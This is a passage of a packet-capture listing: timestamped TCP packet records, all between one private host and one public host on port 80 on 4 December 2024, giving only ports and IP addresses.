Dec 4, 2024 15:12:16.005212069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.005250931 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.005829096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.005863905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.005904913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.006444931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.006597996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.006642103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.007500887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.007541895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.007595062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.008080006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.008163929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.008209944 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.008685112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.008766890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.008829117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.009180069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.009242058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.009283066 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.009804964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.009881020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.009928942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.010380030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.010437012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.010477066 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.010874987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.010935068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.010977983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.011717081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.011930943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.011984110 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.012494087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.012592077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.012638092 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.013082027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.013163090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.013212919 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.013752937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.013881922 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.013923883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.014462948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.014523029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.014563084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.015311003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.015379906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.015425920 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.015809059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.015947104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.015993118 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.016494036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.016563892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.016642094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.017256975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.017349958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.017395020 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.018148899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.018244982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.018292904 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.018970013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.019088030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.019135952 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.019820929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.020019054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.020070076 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.020706892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.020792961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.020869970 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.021646023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.021740913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.021780014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.022413015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.022465944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.022505045 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.023258924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.023488998 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.023541927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.024122000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.024163008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.024228096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.024988890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.025131941 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.025171995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.025856018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.025943995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.025986910 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.026731014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.026849985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.026897907 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.027585030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.027745962 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.027796030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.028470039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.028557062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.028604984 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.029304028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.029357910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.029405117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.030153990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.030263901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.030306101 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.031034946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.031300068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.031346083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.112052917 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.112168074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.112236977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.112457037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.112576008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.112623930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.113519907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.113940954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.113982916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.114027977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.114583969 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.114622116 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.114634991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.115420103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.115463972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.115540028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.116277933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.116322041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.116364956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.117137909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.117180109 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.117259026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.117959976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.118002892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.118068933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.118877888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.118917942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.118942022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.119684935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.119724989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.119823933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.120539904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.120580912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.120651960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.121442080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.121457100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.121490002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.122262001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.122313023 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.122354984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.171509027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.190202951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.190244913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.190361977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.190665960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.190879107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.190917015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.191025972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.191812038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.191860914 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.191893101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.192476988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.192517996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.192853928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.193365097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.193403006 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.193408966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.194091082 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.194130898 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.194154024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.194782019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.194832087 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.195044041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.195647955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.195688009 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.195761919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.196454048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.196494102 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.196522951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.197391033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.197470903 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.197585106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.198208094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.198251963 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.198347092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.199047089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.199090958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.199161053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.199913979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.199956894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.200088978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.200818062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.200860977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.200994015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.201817036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.201864958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.201905012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.202478886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.202524900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.202606916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.203437090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.203485012 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.203519106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.204256058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.204382896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.204413891 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.205121040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.205166101 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.205235004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.205914974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.205955982 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.205991983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.206836939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.206881046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.206901073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.207680941 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.207725048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.207755089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.208581924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.208626032 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.208714008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.209635019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.209681988 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.209804058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.210222006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.210264921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.210352898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.211085081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.211127996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.211150885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.211952925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.212001085 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.212037086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.212796926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.212840080 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.212904930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.213705063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.213718891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.213748932 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.214481115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.214534044 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.214601040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.215368986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.215413094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.215507030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.216204882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.216248035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.216298103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.217096090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.217139006 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.217154026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.217959881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.218005896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.218065023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.218795061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.218838930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.218914986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.219646931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.219696999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.219706059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.220527887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.220572948 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.220650911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.221379995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.221426010 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.221484900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.222230911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.222244024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.222270966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.223062038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.223109961 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.223129034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.265275955 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.304511070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.304677010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.304766893 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.304850101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.304955959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.305001974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.305708885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.305768013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.305814028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.306541920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.306668997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.306721926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.307414055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.307533026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.307585001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.308247089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.308406115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.308448076 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.309149981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.309201956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.309258938 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.310051918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.310115099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.310159922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.310841084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.310951948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.310997963 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.311697960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.311800957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.311845064 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.312560081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.312679052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.312722921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.313389063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.313518047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.313565016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.314285040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.314306021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.314344883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.315150023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.359014034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.385040045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.385067940 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.385185957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.385447025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.385529041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.385571003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.386197090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.386328936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.386369944 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.387003899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.387187958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.387248039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.387833118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.388027906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.388073921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.388679981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.388771057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.388812065 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.389525890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.389643908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.389689922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.390366077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.390511036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.390553951 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.391392946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.391556978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.391599894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.392272949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.392518997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.392564058 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.392997026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.393201113 CET	80	49717	45.200.148.86	192.168.2.11
